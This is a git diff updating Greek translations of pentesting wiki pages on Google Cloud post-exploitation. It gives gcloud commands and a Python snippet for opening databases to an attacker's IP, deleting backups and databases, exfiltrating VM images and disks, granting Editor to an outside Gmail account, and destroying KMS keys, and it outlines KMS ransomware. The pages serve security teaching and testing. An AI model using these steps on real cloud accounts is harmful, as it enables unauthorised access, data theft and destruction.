http_access allow all
```
-αντιγράψτε το **squid.conf** αρχείο στο **/etc/squid**
+
+
+Αντιγράψτε το αρχείο **squid.conf** στο **/etc/squid**
+
+
+
+Αντιγράψτε τη διαμόρφωση στο /etc/squid
```bash
sudo cp squid.conf /etc/squid
```
-Τέλος, εκτελέστε την υπηρεσία squid:
+
+
+Τέλος, εκκινήστε την υπηρεσία squid:
+
+
+
+Εκκίνηση υπηρεσίας Squid
```bash
sudo service squid start
```
-Χρησιμοποιήστε το ngrok για να καταστήσετε τον proxy διαθέσιμο από έξω:
+
+
+Χρησιμοποιήστε ngrok για να κάνετε τον proxy διαθέσιμο από εξωτερικό δίκτυο:
+
+
+
+Κάντε τον proxy προσβάσιμο με ngrok
```bash
./ngrok tcp 3128
```
-Μετά την εκτέλεση, αντιγράψτε το tcp:// url. Αν θέλετε να εκτελέσετε τον proxy από έναν περιηγητή, προτείνεται να αφαιρέσετε το tcp:// μέρος και την θύρα και να βάλετε την θύρα στο πεδίο θύρας των ρυθμίσεων proxy του περιηγητή σας (το squid είναι ένας http proxy server).
+
-Για καλύτερη χρήση κατά την εκκίνηση, το αρχείο .bashrc θα πρέπει να έχει τις εξής γραμμές:
+Μετά την εκτέλεση, αντιγράψτε το tcp:// URL. Αν θέλετε να τρέξετε τον proxy από έναν browser, προτείνεται να αφαιρέσετε το tcp:// μέρος και το port και να εισάγετε το port στο πεδίο port των ρυθμίσεων proxy του browser σας (squid είναι ένας http proxy server).
+
+Για καλύτερη χρήση κατά την εκκίνηση, το αρχείο .bashrc πρέπει να περιέχει τις παρακάτω γραμμές:
+
+
+
+Προσθήκη στο .bashrc για αυτόματη εκκίνηση
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```
-Οι οδηγίες αντιγράφηκαν από [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Ελέγξτε αυτή τη σελίδα για άλλες τρελές ιδέες για να τρέξετε οποιοδήποτε είδος λογισμικού (βάσεις δεδομένων και ακόμη και Windows) στο Cloud Shell.
+
+
+Οι οδηγίες αντιγράφηκαν από [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Δείτε εκείνη τη σελίδα για άλλες τρελές ιδέες για να τρέξετε οποιοδήποτε λογισμικό (databases και ακόμη και windows) στο Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
index 64fb9b9b2..9848c676f 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
@@ -4,7 +4,7 @@
## Cloud SQL
-Για περισσότερες πληροφορίες σχετικά με το Cloud SQL, ελέγξτε:
+Για περισσότερες πληροφορίες για το Cloud SQL δείτε:
{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
@@ -12,7 +12,11 @@
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
-Για να συνδεθείτε στις βάσεις δεδομένων, **χρειάζεστε μόνο πρόσβαση στην θύρα της βάσης δεδομένων** και να γνωρίζετε το **όνομα χρήστη** και τον **κωδικό πρόσβασης**, δεν υπάρχουν απαιτήσεις IAM. Ένας εύκολος τρόπος για να αποκτήσετε πρόσβαση, υποθέτοντας ότι η βάση δεδομένων έχει δημόσια διεύθυνση IP, είναι να ενημερώσετε τα επιτρεπόμενα δίκτυα και **να επιτρέψετε τη δική σας διεύθυνση IP να έχει πρόσβαση σε αυτή**.
+Για να συνδεθείτε στις βάσεις δεδομένων χρειάζεστε απλώς πρόσβαση στη θύρα της βάσης δεδομένων και να γνωρίζετε το **username** και το **password**, δεν υπάρχουν απαιτήσεις IAM. Έτσι, ένας εύκολος τρόπος για να αποκτήσετε πρόσβαση, υποθέτοντας ότι η βάση έχει public IP address, είναι να ενημερώσετε τα επιτρεπόμενα δίκτυα και να **επιτρέψετε τη δική σας IP διεύθυνση να έχει πρόσβαση**.
+
+
+
+Επιτρέψτε την IP σας και συνδεθείτε στη βάση δεδομένων
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
@@ -25,61 +29,111 @@ mysql -h # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
-Είναι επίσης δυνατό να χρησιμοποιήσετε **`--no-backup`** για να **διαταράξετε τα αντίγραφα ασφαλείας** της βάσης δεδομένων.
+
-Δεδομένου ότι αυτές είναι οι απαιτήσεις, δεν είμαι εντελώς σίγουρος ποια είναι τα δικαιώματα **`cloudsql.instances.connect`** και **`cloudsql.instances.login`**. Αν το ξέρετε, στείλτε μια PR!
+Είναι επίσης δυνατό να χρησιμοποιηθεί **`--no-backup`** για να διαταράξει τα αντίγραφα ασφαλείας της βάσης δεδομένων.
+
+Δεδομένων αυτών των απαιτήσεων, δεν είμαι απολύτως σίγουρος τι αφορούν τα δικαιώματα **`cloudsql.instances.connect`** και **`cloudsql.instances.login`**. Αν ξέρεις, στείλε ένα PR!
### `cloudsql.users.list`
-Λάβετε μια **λίστα με όλους τους χρήστες** της βάσης δεδομένων:
+Λήψη **λίστας με όλους τους χρήστες** της βάσης δεδομένων:
+
+
+
+Λίστα χρηστών βάσης δεδομένων
```bash
gcloud sql users list --instance
```
+
+
### `cloudsql.users.create`
-Αυτή η άδεια επιτρέπει να **δημιουργηθεί ένας νέος χρήστης μέσα** στη βάση δεδομένων:
+Αυτή η άδεια επιτρέπει την **δημιουργία νέου χρήστη μέσα** στη βάση δεδομένων:
+
+
+
+Δημιουργία χρήστη βάσης δεδομένων
```bash
gcloud sql users create --instance --password
```
+
+
### `cloudsql.users.update`
-Αυτή η άδεια επιτρέπει να **ενημερώσετε τον χρήστη** μέσα στη βάση δεδομένων. Για παράδειγμα, θα μπορούσατε να αλλάξετε τον κωδικό πρόσβασής του:
+Αυτή η άδεια επιτρέπει να γίνει **update user inside** στη βάση δεδομένων. Για παράδειγμα, θα μπορούσατε να αλλάξετε τον κωδικό του:
+
+
+
+Update user password
```bash
gcloud sql users set-password --instance --password
```
+
+
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
-Τα αντίγραφα ασφαλείας μπορεί να περιέχουν **παλιές ευαίσθητες πληροφορίες**, οπότε είναι ενδιαφέρον να τα ελέγξετε.\
-**Ανακτήστε ένα αντίγραφο ασφαλείας** μέσα σε μια βάση δεδομένων:
+Τα αντίγραφα ασφαλείας μπορεί να περιέχουν **παλαιές ευαίσθητες πληροφορίες**, οπότε είναι ενδιαφέρον να τα ελέγξετε.\
+**Επαναφορά αντιγράφου ασφαλείας** σε μια βάση δεδομένων:
+
+
+
+Επαναφορά αντιγράφου βάσης δεδομένων
```bash
gcloud sql backups restore --restore-instance
```
-Για να το κάνετε με πιο διακριτικό τρόπο, συνιστάται να δημιουργήσετε μια νέα SQL instance και να ανακτήσετε τα δεδομένα εκεί αντί για τις τρέχουσες βάσεις δεδομένων.
+
+
+Για να το κάνετε με πιο διακριτικό τρόπο, συνιστάται να δημιουργήσετε ένα νέο SQL instance και να ανακτήσετε τα δεδομένα εκεί αντί στις τρέχουσες βάσεις δεδομένων.
### `cloudsql.backupRuns.delete`
Αυτή η άδεια επιτρέπει τη διαγραφή αντιγράφων ασφαλείας:
+
+
+
+Διαγραφή αντιγράφου ασφαλείας
```bash
gcloud sql backups delete --instance
```
+
+
### `cloudsql.instances.export`, `storage.objects.create`
-**Εξαγωγή μιας βάσης δεδομένων** σε ένα Cloud Storage Bucket ώστε να μπορείτε να έχετε πρόσβαση σε αυτήν από εκεί:
+**Εξαγωγή μιας βάσης δεδομένων** σε ένα Cloud Storage Bucket ώστε να μπορείτε να την προσπελάσετε από εκεί:
+
+
+
+Εξαγωγή βάσης δεδομένων στο bucket
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql --database
```
+
+
### `cloudsql.instances.import`, `storage.objects.get`
-**Εισαγωγή μιας βάσης δεδομένων** (επικαλύπτει) από ένα Cloud Storage Bucket:
+**Εισαγωγή βάσης δεδομένων** (αντικατάσταση) από ένα Bucket του Cloud Storage:
+
+
+
+Εισαγωγή βάσης δεδομένων από bucket
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql
```
+
+
### `cloudsql.databases.delete`
-Διαγράψτε μια βάση δεδομένων από την db instance:
+Διαγραφή μιας βάσης δεδομένων από το db instance:
+
+
+
+Διαγραφή βάσης δεδομένων
```bash
gcloud sql databases delete --instance
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md
index c0670a58a..0991acae6 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md
@@ -4,37 +4,47 @@
## Compute
-Για περισσότερες πληροφορίες σχετικά με το Compute και το VPC (Δικτύωση) ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το Compute και το VPC (Δικτύωση) δείτε:
{{#ref}}
../gcp-services/gcp-compute-instances-enum/
{{#endref}}
-### Εξαγωγή & Επιθεώρηση Εικόνων τοπικά
+### Export & Inspect Images locally
-Αυτό θα επέτρεπε σε έναν επιτιθέμενο να **πρόσβαση στα δεδομένα που περιέχονται σε ήδη υπάρχουσες εικόνες** ή **δημιουργία νέων εικόνων τρεχουσών VM** και πρόσβαση στα δεδομένα τους χωρίς να έχει πρόσβαση στην τρέχουσα VM.
+Αυτό θα επέτρεπε σε έναν επιτιθέμενο να **προσπελάσει τα δεδομένα που περιέχονται σε ήδη υπάρχουσες εικόνες** ή να **δημιουργήσει νέες εικόνες από τρέχοντα VMs** και να έχει πρόσβαση στα δεδομένα τους χωρίς να έχει πρόσβαση στο τρέχον VM.
-Είναι δυνατόν να εξάγουμε μια εικόνα VM σε έναν κάδο και στη συνέχεια να την κατεβάσουμε και να την τοποθετήσουμε τοπικά με την εντολή:
+Είναι δυνατή η εξαγωγή μιας εικόνας VM σε ένα bucket και στη συνέχεια η λήψη της και η τοπική προσάρτησή της με την εντολή:
+
+
+
+Εξαγωγή και λήψη εικόνας VM
```bash
gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
-Για να εκτελέσει αυτή την ενέργεια, ο επιτιθέμενος μπορεί να χρειαστεί δικαιώματα πάνω στον αποθηκευτικό κάδο και σίγουρα **δικαιώματα πάνω στο cloudbuild**, καθώς είναι η **υπηρεσία** που θα ζητηθεί να εκτελέσει την εξαγωγή.\
-Επιπλέον, για να λειτουργήσει αυτό, ο SA του codebuild και ο SA του compute χρειάζονται προνομιακά δικαιώματα.\
-Ο SA του cloudbuild `@cloudbuild.gserviceaccount.com` χρειάζεται:
+
+
+Για να εκτελέσει αυτή τη δράση ο επιτιθέμενος μπορεί να χρειαστεί δικαιώματα πάνω στο storage bucket και σίγουρα **δικαιώματα πάνω στο cloudbuild** καθώς αυτή είναι η **υπηρεσία** που θα κληθεί να πραγματοποιήσει το export\
+Επιπλέον, για να λειτουργήσει αυτό το codebuild SA και το compute SA χρειάζονται προνομιούχα δικαιώματα.\
+Το cloudbuild SA `@cloudbuild.gserviceaccount.com` χρειάζεται:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
-Και ο SA `-compute@developer.gserviceaccount.com` χρειάζεται:
+Και το SA `-compute@developer.gserviceaccount.com` χρειάζεται:
-- roles/compute.storageAdmin
+- oles/compute.storageAdmin
- roles/storage.objectAdmin
-### Εξαγωγή & Επιθεώρηση Στιγμιότυπων & Δίσκων τοπικά
+### Export & Inspect Snapshots & Disks locally
-Δεν είναι δυνατόν να εξάγουμε άμεσα τα στιγμιότυπα και τους δίσκους, αλλά είναι δυνατόν να **μετατρέψουμε ένα στιγμιότυπο σε δίσκο, έναν δίσκο σε εικόνα** και ακολουθώντας την **προηγούμενη ενότητα**, να εξάγουμε αυτή την εικόνα για να την επιθεωρήσουμε τοπικά.
+Δεν είναι δυνατό να εξαχθούν άμεσα snapshots και disks, αλλά είναι δυνατό να **μετατρέψεις ένα snapshot σε disk, ένα disk σε image** και, ακολουθώντας την **προηγούμενη ενότητα**, να εξάγεις αυτό το image για να το επιθεωρήσεις τοπικά
+
+
+
+Δημιουργία disk από snapshot και image από disk
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
@@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
-### Επιθεώρηση μιας Εικόνας δημιουργώντας μια VM
+
-Με στόχο την πρόσβαση στα **δεδομένα που είναι αποθηκευμένα σε μια εικόνα** ή μέσα σε μια **τρέχουσα VM** από όπου ένας επιτιθέμενος **έχει δημιουργήσει μια εικόνα,** είναι δυνατόν να παραχωρηθεί πρόσβαση σε έναν εξωτερικό λογαριασμό πάνω στην εικόνα:
+### Επιθεώρηση ενός Image δημιουργώντας ένα VM
+
+Με στόχο την πρόσβαση στα **data stored in an image** ή μέσα σε ένα **running VM** από όπου ένας επιτιθέμενος **has created an image,** είναι δυνατό να χορηγηθεί σε έναν εξωτερικό λογαριασμό πρόσβαση στο image:
+
+
+
+Παροχή πρόσβασης στο image και δημιουργία VM
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
-και στη συνέχεια δημιουργήστε μια νέα VM από αυτό:
+
+
+και στη συνέχεια δημιουργήστε μια νέα VM από αυτήν:
+
+
+
+Δημιουργήστε VM instance από image
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
-Αν δεν μπορούσατε να δώσετε πρόσβαση στον εξωτερικό σας λογαριασμό μέσω της εικόνας, θα μπορούσατε να εκκινήσετε μια VM χρησιμοποιώντας αυτή την εικόνα στο έργο του θύματος και **να κάνετε τα μεταδεδομένα να εκτελέσουν ένα reverse shell** για να αποκτήσετε πρόσβαση στην εικόνα προσθέτοντας την παράμετρο:
+
+
+Αν δεν μπορείτε να δώσετε στον εξωτερικό σας account πρόσβαση στο image, μπορείτε να ξεκινήσετε ένα VM χρησιμοποιώντας αυτό το image στο project του θύματος και **να κάνετε τη metadata να εκτελέσει ένα reverse shell** για να αποκτήσετε πρόσβαση στο image προσθέτοντας το param:
+
+
+
+Δημιουργία VM με reverse shell στη metadata
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; '
```
-### Επιθεώρηση ενός Snapshot/Δίσκου συνδέοντάς το σε μια VM
+
-Με στόχο την πρόσβαση στα **δεδομένα που είναι αποθηκευμένα σε έναν δίσκο ή ένα snapshot, θα μπορούσατε να μετατρέψετε το snapshot σε δίσκο, έναν δίσκο σε εικόνα και να ακολουθήσετε τα προηγούμενα βήματα.**
+### Επιθεώρηση ενός Snapshot/Disk προσαρτώντας το σε ένα VM
-Ή θα μπορούσατε να **παρέχετε πρόσβαση σε έναν εξωτερικό λογαριασμό** πάνω στον δίσκο (αν το αρχικό σημείο είναι ένα snapshot, δώστε πρόσβαση στο snapshot ή δημιουργήστε έναν δίσκο από αυτό):
+Με στόχο την πρόσβαση στα **δεδομένα που είναι αποθηκευμένα σε έναν disk ή σε ένα snapshot, μπορείτε να μετατρέψετε το snapshot σε disk, έναν disk σε image και να ακολουθήσετε τα προηγούμενα βήματα.**
+
+Εναλλακτικά, μπορείτε να **παραχωρήσετε σε έναν εξωτερικό λογαριασμό πρόσβαση** στον disk (εάν το σημείο εκκίνησης είναι ένα snapshot, δώστε πρόσβαση στο snapshot ή δημιουργήστε από αυτό έναν disk):
+
+
+
+Παραχώρηση πρόσβασης στο disk
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
-**Συνδέστε τον δίσκο** σε μια παρουσίαση:
+
+
+**Συνδέστε τον δίσκο** σε ένα instance:
+
+
+
+Συνδέστε τον δίσκο σε ένα instance
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
```
-Μάουντ τον δίσκο μέσα στη VM:
+
-1. **SSH στη VM**:
+Προσαρτήστε το disk μέσα στο VM:
+
+1. **SSH στο VM**:
+
+
+
+SSH στο VM και mount disk
```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```
-2. **Εντοπίστε τον Δίσκο**: Μόλις μπείτε στη VM, εντοπίστε τον νέο δίσκο καταγράφοντας τις συσκευές δίσκου. Συνήθως, μπορείτε να τον βρείτε ως `/dev/sdb`, `/dev/sdc`, κ.λπ.
-3. **Μορφοποιήστε και Μάουντ τον Δίσκο** (αν είναι νέος ή raw δίσκος):
+
-- Δημιουργήστε ένα σημείο μάουντ:
+2. **Εντοπίστε το disk**: Μόλις μπείτε στο VM, εντοπίστε το νέο disk προβάλλοντας τις συσκευές δίσκου. Συνήθως θα το δείτε ως `/dev/sdb`, `/dev/sdc`, κ.λπ.
+3. **Format και Mount του disk** (αν είναι νέο ή raw disk):
+
+- Δημιουργήστε ένα mount point:
+
+
+
+Δημιουργήστε mount point και προσαρτήστε
```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```
-- Μάουντ τον δίσκο:
+
+
+- Προσαρτήστε το disk:
+
+
+
+Mount της συσκευής disk
```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```
-Αν **δεν μπορείτε να δώσετε πρόσβαση σε ένα εξωτερικό έργο** στο snapshot ή δίσκο, ίσως χρειαστεί να **εκτελέσετε αυτές τις ενέργειες μέσα σε μια παρουσία στο ίδιο έργο με το snapshot/disk**.
+
+
+Εάν **δεν μπορείτε να δώσετε πρόσβαση σε ένα external project** στο snapshot ή disk, ίσως χρειαστεί να p**erform αυτές τις ενέργειες μέσα σε ένα instance στο ίδιο project με το snapshot/disk**.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
index d7d22a803..a2652bb59 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
@@ -4,15 +4,19 @@
## Filestore
-Για περισσότερες πληροφορίες σχετικά με το Filestore, ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το Filestore δείτε:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}
-### Mount Filestore
+### Προσάρτηση Filestore
-Ένα κοινόχρηστο σύστημα αρχείων **μπορεί να περιέχει ευαίσθητες πληροφορίες** που είναι ενδιαφέρουσες από την προοπτική ενός επιτιθέμενου. Με πρόσβαση στο Filestore, είναι δυνατό να **τοποθετηθεί**:
+Ένα κοινόχρηστο σύστημα αρχείων **μπορεί να περιέχει ευαίσθητες πληροφορίες** που είναι ενδιαφέρουσες από την οπτική ενός επιτιθέμενου. Με πρόσβαση στο Filestore είναι δυνατό να το **προσάρτησετε**:
+
+
+
+Προσάρτηση του συστήματος αρχείων Filestore
```bash
sudo apt-get update
sudo apt-get install nfs-common
@@ -22,15 +26,21 @@ showmount -e
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
```
-Για να βρείτε τη διεύθυνση IP μιας παρουσίας filestore, ελέγξτε την ενότητα αρίθμησης της σελίδας:
+
+
+Για να βρείτε τη διεύθυνση IP μιας Filestore instance, ελέγξτε την ενότητα enumeration της σελίδας:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}
-### Αφαίρεση Περιορισμών και απόκτηση επιπλέον δικαιωμάτων
+### Αφαίρεση περιορισμών και απόκτηση επιπλέον permissions
-Εάν ο επιτιθέμενος δεν βρίσκεται σε μια διεύθυνση IP με πρόσβαση στο κοινόχρηστο, αλλά έχετε αρκετά δικαιώματα για να το τροποποιήσετε, είναι δυνατόν να αφαιρέσετε τους περιορισμούς ή την πρόσβαση σε αυτό. Είναι επίσης δυνατό να παραχωρήσετε περισσότερα προνόμια στη διεύθυνση IP σας για να έχετε διαχειριστική πρόσβαση στο κοινόχρηστο:
+Αν ο attacker δεν βρίσκεται σε διεύθυνση IP με πρόσβαση στο share, αλλά έχετε αρκετά permissions για να το τροποποιήσετε, είναι δυνατό να αφαιρεθούν οι περιορισμοί ή η πρόσβαση σε αυτό. Επίσης είναι δυνατό να χορηγηθούν περισσότερα προνόμια στη διεύθυνση IP σας ώστε να αποκτήσετε admin πρόσβαση στο share:
+
+
+
+Ενημέρωση Filestore instance για να επιτραπεί η πρόσβαση
```bash
gcloud filestore instances update nfstest \
--zone= \
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
}
}
```
+
+
### Επαναφορά αντιγράφου ασφαλείας
-Αν υπάρχει ένα αντίγραφο ασφαλείας, είναι δυνατόν να **επαναφερθεί** σε μια υπάρχουσα ή σε μια νέα παρουσία ώστε οι **πληροφορίες του να γίνουν προσβάσιμες:**
+Εάν υπάρχει αντίγραφο ασφαλείας, είναι δυνατό να το **επαναφέρετε** σε μια υπάρχουσα ή σε μια νέα instance, ώστε οι **πληροφορίες του να γίνουν προσβάσιμες:**
+
+
+
+Δημιουργία νέας instance και επαναφορά αντιγράφου ασφαλείας
```bash
# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create \
@@ -76,9 +92,15 @@ gcloud filestore instances restore \
# Follow the previous section commands to mount it
```
-### Δημιουργία αντιγράφου ασφαλείας και αποκατάσταση
+
-Αν **δεν έχετε πρόσβαση σε ένα κοινόχρηστο και δεν θέλετε να το τροποποιήσετε**, είναι δυνατόν να **δημιουργήσετε ένα αντίγραφο ασφαλείας** από αυτό και να το **αποκαταστήσετε** όπως αναφέρθηκε προηγουμένως:
+### Δημιουργία αντιγράφου ασφαλείας και επαναφορά
+
+Εάν **δεν έχετε πρόσβαση σε ένα share και δεν θέλετε να το τροποποιήσετε**, είναι δυνατό να **δημιουργήσετε ένα αντίγραφο ασφαλείας** του και να το **επαναφέρετε** όπως περιγράφηκε προηγουμένως:
+
+
+
+Δημιουργία αντιγράφου ασφαλείας και επαναφορά σε νέο instance
```bash
# Create share backup
gcloud filestore backups create \
@@ -89,4 +111,6 @@ gcloud filestore backups create \
# Follow the previous section commands to restore it and mount it
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
index cc7bdd6a0..d04e6f820 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
@@ -4,24 +4,30 @@
## IAM
-Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με το IAM στο:
+Μπορείτε να βρείτε περισσότερες πληροφορίες για το IAM στο:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
-### Παροχή πρόσβασης στην κονσόλα διαχείρισης
+### Χορήγηση πρόσβασης στην κονσόλα διαχείρισης
-Η πρόσβαση στην [GCP management console](https://console.cloud.google.com) παρέχεται **σε λογαριασμούς χρηστών, όχι σε λογαριασμούς υπηρεσιών**. Για να συνδεθείτε στη διαδικτυακή διεπαφή, μπορείτε να **παρέχετε πρόσβαση σε έναν λογαριασμό Google** που ελέγχετε. Αυτό μπορεί να είναι ένας γενικός λογαριασμός "**@gmail.com**", δεν χρειάζεται **να είναι μέλος της στοχευμένης οργάνωσης**.
+Η πρόσβαση στο [GCP management console](https://console.cloud.google.com) παρέχεται **σε user accounts, όχι σε service accounts**. Για να συνδεθείτε στη web διεπαφή, μπορείτε να **παραχωρήσετε πρόσβαση σε ένα Google account** που ελέγχετε. Αυτό μπορεί να είναι ένας γενικός "**@gmail.com**" account, δεν χρειάζεται **να είναι μέλος του στοχευόμενου οργανισμού**.
-Για να **παρέχετε** τον πρωτόγονο ρόλο του **Ιδιοκτήτη** σε έναν γενικό λογαριασμό "@gmail.com", θα χρειαστεί να **χρησιμοποιήσετε την κονσόλα ιστού**. Το `gcloud` θα εμφανίσει σφάλμα αν προσπαθήσετε να του παραχωρήσετε άδεια ανώτερη από τον Επεξεργαστή.
+Ωστόσο, για να **παραχωρήσετε** τον αρχέγονο ρόλο **Owner** σε έναν γενικό "@gmail.com" account, θα χρειαστεί να **χρησιμοποιήσετε την web κονσόλα**. Το `gcloud` θα εμφανίσει σφάλμα αν προσπαθήσετε να του παραχωρήσετε δικαίωμα πάνω από το Editor.
-Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να **παρέχετε σε έναν χρήστη τον πρωτόγονο ρόλο του Επεξεργαστή** στο υπάρχον έργο σας:
+Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να **παραχωρήσετε σε έναν χρήστη τον αρχέγονο ρόλο Editor** στο υπάρχον project σας:
+
+
+
+Παραχώρηση ρόλου Editor σε χρήστη
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
-Αν τα καταφέρατε εδώ, δοκιμάστε **να αποκτήσετε πρόσβαση στη διαδικτυακή διεπαφή** και να εξερευνήσετε από εκεί.
+
-Αυτό είναι το **υψηλότερο επίπεδο που μπορείτε να αναθέσετε χρησιμοποιώντας το εργαλείο gcloud**.
+Αν τα κατάφερες εδώ, δοκίμασε να **αποκτήσεις πρόσβαση στη διασύνδεση ιστού** και να εξερευνήσεις από εκεί.
+
+Αυτό είναι το **υψηλότερο επίπεδο που μπορείς να αναθέσεις χρησιμοποιώντας το εργαλείο gcloud**.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
index c456d885f..62cd6ba76 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
@@ -4,7 +4,7 @@
## KMS
-Βρείτε βασικές πληροφορίες σχετικά με το KMS στο:
+Βρείτε βασικές πληροφορίες για το KMS στο:
{{#ref}}
../gcp-services/gcp-kms-enum.md
@@ -12,7 +12,11 @@
### `cloudkms.cryptoKeyVersions.destroy`
-Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να καταστρέψει μια έκδοση KMS. Για να το κάνετε αυτό, πρέπει πρώτα να απενεργοποιήσετε το κλειδί και στη συνέχεια να το καταστρέψετε:
+Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να καταστρέψει μια έκδοση του KMS. Για να το κάνετε αυτό πρέπει πρώτα να απενεργοποιήσετε το κλειδί και στη συνέχεια να το καταστρέψετε:
+
+
+
+Απενεργοποίηση και καταστροφή έκδοσης κλειδιού (Python)
```python
# pip install google-cloud-kms
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
```
+
+
### KMS Ransomware
-Στο AWS είναι δυνατόν να **κλέψετε ένα KMS key** τροποποιώντας την πολιτική πόρων KMS και επιτρέποντας μόνο στον λογαριασμό των επιτιθέμενων να χρησιμοποιεί το κλειδί. Δεδομένου ότι αυτές οι πολιτικές πόρων δεν υπάρχουν στο GCP, αυτό δεν είναι δυνατό.
+Στο AWS είναι δυνατό να **αποκλέψει κανείς ένα KMS key** τροποποιώντας την KMS resource policy και επιτρέποντας μόνο στον λογαριασμό του επιτιθέμενου να χρησιμοποιήσει το κλειδί. Εφόσον αυτές οι resource policies δεν υπάρχουν στο GCP, αυτό δεν είναι δυνατό.
-Ωστόσο, υπάρχει ένας άλλος τρόπος για να εκτελέσετε ένα παγκόσμιο KMS Ransomware, ο οποίος θα περιλάμβανε τα εξής βήματα:
+Ωστόσο, υπάρχει ένας άλλος τρόπος για να πραγματοποιηθεί ένα global KMS Ransomware, ο οποίος θα περιλάμβανε τα ακόλουθα βήματα:
-- Δημιουργήστε μια νέα **έκδοση του κλειδιού με υλικό κλειδιού** που έχει εισαχθεί από τον επιτιθέμενο.
